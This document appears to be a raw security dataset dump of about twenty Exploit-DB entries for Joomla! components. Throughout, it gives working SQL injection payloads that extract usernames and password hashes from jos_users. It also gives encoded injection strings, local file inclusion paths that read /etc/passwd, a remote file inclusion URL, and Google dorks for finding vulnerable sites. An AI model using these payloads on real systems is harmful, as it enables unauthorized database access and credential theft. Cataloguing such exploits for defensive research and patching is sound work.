deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44123
Description: Joomla! Component NeoRecruit 4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component NeoRecruit 4.1 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://neojoomla.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/jobs-a-recruitment/neorecruit/
# Version: 4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6370
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/neorecruit/all-offers/xxx[SQL].html
# http://localhost/[PATH]/neorecruit/xxx/xxx[SQL]
#  
# JTI3JTIwJTQxJTRlJTQ0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTM3JTMwJTM0JTMxJTIwJTQ2JTUyJTRmJTRkJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQzJTRmJTU1JTRlJTU0JTI4JTJhJTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM2JTM2JTNkJTM2JTM2JTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTQ2JTRjJTRmJTRmJTUyJTI4JTUyJTQxJTRlJTQ0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTIwJTQ3JTUyJTRmJTU1JTUwJTIwJTQyJTU5JTIwJTc4JTI5JTYxJTI5JTIwJTQxJTRlJTQ0JTIwJTI3JTQ1JTY2JTY1JTI3JTNkJTI3JTQ1JTY2JTY1
# 
# J2FuZCAoc2VsZWN0IDEgZnJvbSAoc2VsZWN0IGNvdW50KCopLGNvbmNhdCgoc2VsZWN0KHNlbGVjdCBjb25jYXQoY2FzdChkYXRhYmFzZSgpIGFzIGNoYXIpLDB4N2UpKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgbGltaXQgMCwxKSxmbG9vcihyYW5kKDApKjIpKXggZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYSkgQU5EICcnPSc=
# 
# # # #
Exploit-DB #5034
Description: Joomla! Component NeoReferences 1.3.1 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-01
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_neoreferences)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_neoreferences"
#
########################################################################
EXPLOIT :

index.php?option=com_neoreferences&Itemid=27&catid=99887766/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*%20where%20user_id=1=1/*


#########################################################################
# S@BUN                           www.hackturkiye.com                       S@BUN
#########################################################################
# S@BUN                              GOOD LUCKY                                S@BUN
#########################################################################

added notes:
	<name>NeoReferences</name>
	<creationDate>December 2006</creationDate>
	<author>NeoJoomla</author>
	<license>Released under CREATIVE COMMONS License</license>
	<copyright>Copyright (C) 2006 Neoweb</copyright>

	<authorEmail>support@neojoomla.com</authorEmail>
	<authorUrl>www.neojoomla.com</authorUrl>
	<version>1.3.1</version>
	<description><![CDATA[NeoReferences is component which enables you to manage your current and future references by category and thanks to a system of thumbnails clear and very visual!
You can add an image for each reference which will be resized by the component, just click on it to see the complete view.<br />Developped by NeoJoomla.]]></description>

# milw0rm.com [2008-02-01]
Exploit-DB #5939
Description: Joomla! Component netinvoice 1.2.0 SP1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-25
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/       Joomla Component netinvoice Remote SQL injection        \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_netinvoice

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_netinvoice&action=orders&task=order&cid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_netinvoice&action=orders&task=order&cid=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://palcastle.org/cc

# milw0rm.com [2008-06-25]
Exploit-DB #12077
Description: Joomla! Component News Portal 1.5.x - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
=================================================================================================================


  [o] Joomla Component News Portal Local File Inclusion Vulnerability
 
       Software : com_news_portal version 1.5.x
       Vendor   : http://www.ijoomla.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_news_portal&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=================================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #12465
Description: Joomla! Component Newsfeeds - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: Archimonde

Exploit:
# Exploit Title: Joomla Component com_newsfeeds SQL injection vulnerability
# Date: 30/04/2010
# Author: Archimonde
# Software Link:
# Version:
# Tested on:
# CVE :
# Code :

Email : archimondera@gmail.com
Website : xgroupvn.org - programmer.vn

index.php?option=com_newsfeeds&view=categories&feedid=[sqli]

Example:

http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
Exploit-DB #43365
Description: Joomla! Component NextGen Editor 2.1.0 - 'plname' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-19
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component NextGen Editor 2.1.0 - SQL Injection
# Dork: N/A
# Date: 19.12.2017
# Vendor Homepage: hhttp://nextgeneditor.com/
# Software Link: https://extensions.joomla.org/extension/nextgen-editor/
# Software Download: http://nextgeneditor.com/index.php/en/testcategory/send/2-nge-editor-full/33-nextgeneditor-full-free
# Version: 2.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_nge&view=config&plname=[SQL]
#  
# %22%20%20%2f%2a%21%30%37%37%37%37%50%72%6f%63%65%64%75%72%65%2a%2f%20%2f%2a%21%30%37%37%37%37%41%6e%61%6c%79%73%65%2a%2f%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%2800%2c%2f%2a%21%30%37%37%37%37%63%6f%6e%63%61%74%2a%2f%280x27%2c0x496873616e2053656e63616e%2c0x3a%2c%40%40%76%65%72%73%69%6f%6e%29%29%2c0%29%2d%2d%20%2d
# 
# # # # #
Exploit-DB #4308
Description: Joomla! Component Nice Talk 0.9.3 - 'tagid' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Joomla Component Nice Talk <= 0.9.3 (tagid) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.azrul.com
# $$      :  ??
# Dork    :  inurl:index.php?option=com_nicetalk
# DorkEx  :  http://www.google.com.tr/search?q=inurl:index.php%3Foption%3Dcom_nicetalk&hl=tr&start=0&sa=N

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_nicetalk&tagid=[SQL Inject]

Example:

//index.php?option=com_nicetalk&tagid=-2)%20union%20select%201,2,3,4,5,6,7,8,0,999,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),777,666,555,444,333,222,111%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23]
Exploit-DB #14211
Description: Joomla! Component NinjaMonials - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-04
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla com_ninjamonials BSqli Vulnerability
Date : july 4,2010
Critical Level 	: HIGH
vendor URL :http://ninjaforge.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
NinjaMonials is designed to help you quickly and easily collect and display testimonials for your site.

Testimonials improve customer confidence, which in turn improves the ability of your site to convert visitors into customers and members.
Any internet marketing expert will tell you that testimonials will improve the conversion rates of guests into members on virtually any site. By providing guests with 3rd party, honest reviews from customers they get a much more solid idea of how your site and service really is, and are not required to believe only your marketing material.

Testimonials are especially important for a commercial website, but can be just as useful for non commercial sites who want to convert and retain more customers.

#######################################################################################################
Xploit :BSQli Vulnerability

DEMO URL :http://server/joomla15/index.php?option=com_ninjamonials&view=display&Itemid=[Bsqli]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #12427
Description: Joomla! Component NoticeBoard 1.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-27
Author: AntiSecurity

Exploit:
=================================================================================================================


  [o] Joomla Component NoticeBoard Local File Inclusion Vulnerability
 
       Software : com_noticeboard version 1.3
       Vendor   : http://www.code-garage.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_noticeboard&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #43094
Description: Joomla! Component NS Download Shop 2.2.6 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: https://nswd.co/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/
# Demo: https://ds.nswd.co/
# Version: 2.2.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15965
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL >= 5.0 boolean-based blind - Parameter replace
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 	
# Etc..
# # # # #
Exploit-DB #17591
Description: Joomla! Component obSuggest - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-07-31
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID

-----------------------------------------------------------------------

Joomla Component obSuggest Local File Inclusion Vulnerability

Author     : v3n0m
Discovered : July, 31-2011 GMT +7:00 Jakarta, Indonesia
Software   : obSuggest - Uservoice for Joomla
Developer  : http://foobla.com/
License    : GPLv2 or later
Tested On  : Joomla 1.5.x
Dorks      : inurl:com_obsuggest
-----------------------------------------------------------------------

Proof of Concept:
----------------
http://127.0.0.1/[path]/index.php?option=com_obsuggest&controller=[LFI]%00

Credits:
-------
www.yogyacarderlink.web.id - irc.yogyacarderlink.web.id
Exploit-DB #37540
Description: Joomla! Component Odudeprofile 2.8 - 'profession' SQL Injection
Type: webapps
Platform: php
Date: 2012-07-25
Author: Daniel Barragan

Exploit:
source: https://www.securityfocus.com/bid/54677/info

Odudeprofile Component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Odudeprofile 2.7 and 2.8 are vulnerable; prior versions may also be affected. 

 http://www.example.com/index.php?option=com_odudeprofile&view=search&profession=(SQL)
Exploit-DB #8870
Description: Joomla! Component Omilen Photo Gallery 0.5b - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-03
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@


@~~=======================================~~@
@~~=Script   : Omilen Photo Gallery Beta 0.5

@~~=S.Site   : http://omilenitsolutions.com
@~~=======================================~~@

@~~=Vul      :

@~~=http://c4team.org/ [Yol] /index.php?option=com_omphotogallery&controller= [-LFI-]

@~~=Dork     : inurl:"com_omphotogallery"

@~~=http://kht.by.ru/Google.txt

@~~=Vs..
              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-03]
Exploit-DB #41470
Description: Joomla! Component OneVote! 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-27
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component OneVote! v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_onevote
# Date: 27.02.2017
# Vendor Homepage: http://advcomsys.com/
# Software: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/polls/onevote/
# Demo: http://advcomsys.com/index.php/joomla-demos/elections
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/components/com_onevote/results.php?election_id=[SQL]
# +/*!50000union*/+select+@@version-- -
# # # # #
Exploit-DB #6976
Description: Joomla! Component ongumatimesheet20 4b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-04
Author: NoGe

Exploit:
=======================================================================================================================================


  [o] com_ongumatimesheet20 4 Beta Remote File Inclusion Vulnerability

       Software : com_ongumatimesheet20 version 4 Beta
       Download : http://joomlacode.org/gf/project/ongumasa/frs/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com [promosi :p]


=======================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_ongumatimesheet20/lib/onguma.class.php

        include_once($mosConfig_absolute_path.'/includes/patTemplate/patError.php');
        include_once($mosConfig_absolute_path.'/includes/patTemplate/patErrorManager.php');
        include_once($mosConfig_absolute_path.'/includes/patTemplate/patTemplate.php');



  [o] Exploit

       http://localhost/[path]/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=[evilcode]


=======================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
=======================================================================================================================================

# milw0rm.com [2008-11-04]
Exploit-DB #41324
Description: Joomla! Component onisMusic 2 - 'tag' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-11
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component onisMusic 2 - SQL Injection
# Date: 2017-02-11
# Home : https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/onismusic/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com)
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Google Dork : inurl:option=com_onismusic
# Tested on: Linux

# POC :
# tag Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?option=com_onismusic&view=songs&tag=[SQL]

# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian white hat Hackers
Exploit-DB #41322
Description: Joomla! Component onisPetitions 2.5 - 'tag' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-11
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component onisPetitions 2.5 - SQL Injection
# Date: 2017-02-11
# Home : https://extensions.joomla.org/extensions/extension/contacts-and-feedback/polls/onispetitions/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com)
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Tested on: Linux

# POC :
# tag Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?option=com_onispetitions&view=petitions&tag=[SQL]

# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian white hat Hackers
Exploit-DB #41323
Description: Joomla! Component onisQuotes 2.5 - 'tag' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-11
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component onisQuotes 2.5 - SQL Injection
# Date: 2017-02-11
# Home : https://extensions.joomla.org/extensions/extension/news-display/quotes/onisquotes/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com)
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Tested on: Linux

# POC :
# tag Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?option=com_onisquotes&view=quotes&tag=[SQL]&Itemid=180

# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian white hat Hackers